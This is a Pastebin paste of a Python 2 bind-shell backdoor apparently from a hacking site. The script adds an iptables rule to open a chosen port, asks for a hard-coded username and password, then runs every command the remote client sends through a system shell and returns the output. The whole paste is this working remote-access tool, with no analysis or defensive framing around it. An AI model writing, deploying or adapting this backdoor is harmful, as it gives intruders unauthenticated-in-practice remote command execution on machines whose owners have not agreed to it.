Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Created by Pathogen @ www.hakhub.tk
- import subprocess
- import hashlib
- import socket
- import sys
- # Sets Credentials
- user = 'GMO'
- passhash = hashlib.sha512('OMG').hexdigest()
- # Opens logfile
- file = open("Logfile.log", "a")
- # Sets variables and creates sockets
- host = ""
- port = int(sys.argv[1])
- sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- sock.bind((host,port))
- sock.listen(1)
- # Sets an iptables rule and waits for connections
- subprocess.Popen('iptables -A INPUT -p tcp --dport ' + str(sys.argv[1]) + ' -j ACCEPT', shell=True)
- print "Listening on port " + str(port) + " for incoming connections!"
- file.write("\n\nListening on port " + str(port) + " for incoming connections!\n")
- # Accepts connection and proceed to prompts for login
- client,address = sock.accept()
- print "Connection attempt by", str(address) + "\nWaiting for validation\n"
- file.write("Connection attempt by " + str(address) + "\nWaiting for validation.\n")
- # Recieves user and password for validation
- client.send("Enter yout username\nLogin> ")
- usern = str.strip(client.recv(1024))
- client.send("Enter your password\nPassword> ")
- passw = hashlib.sha512(str.strip(client.recv(1024))).hexdigest()
- # If login is successful, serve up the shell, else tell the client they could not be validated and log their IP
- try:
- if passw == passhash and usern == user:
- print "Client has been validated, serving the shell\n\nCommands issued by client\n_________________________\n\n"
- client.send('Validation success, press enter to access the shell.\n')
- file.write("\nValidation success - Connection established by " + str(address) + "\nCommands issued by client\n_________________________\n\n")
- while 1:
- command = client.recv(1024)
- if not command: break
- proc = subprocess.Popen(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE, shell=True)
- out = proc.stdout.read()
- print "Command executed --> " + command
- file.write("Command executed --> " + command + "\n")
- client.send(out + "\nShell> ")
- file.write(str(address) + " has closed the session\n\n")
- client.close()
- elif passw != passhash:
- print 'A failed login attempt detected!'
- file.write("Failed login attempt by" + str(address) + "\n\n")
- client.send('You could not be validated, your IP has been logged.\n')
- subprocess.Popen('iptables -D INPUT -p tcp --dport ' + str(sys.argv[1]) + ' -j ACCEPT', shell=True)
- # Error handling, removes the iptables rule if an error occures
- except:
- subprocess.Popen('iptables -D INPUT -p tcp --dport ' + str(sys.argv[1]) + ' -j ACCEPT', shell=True)
Advertisement
Add Comment
Please, Sign In to add comment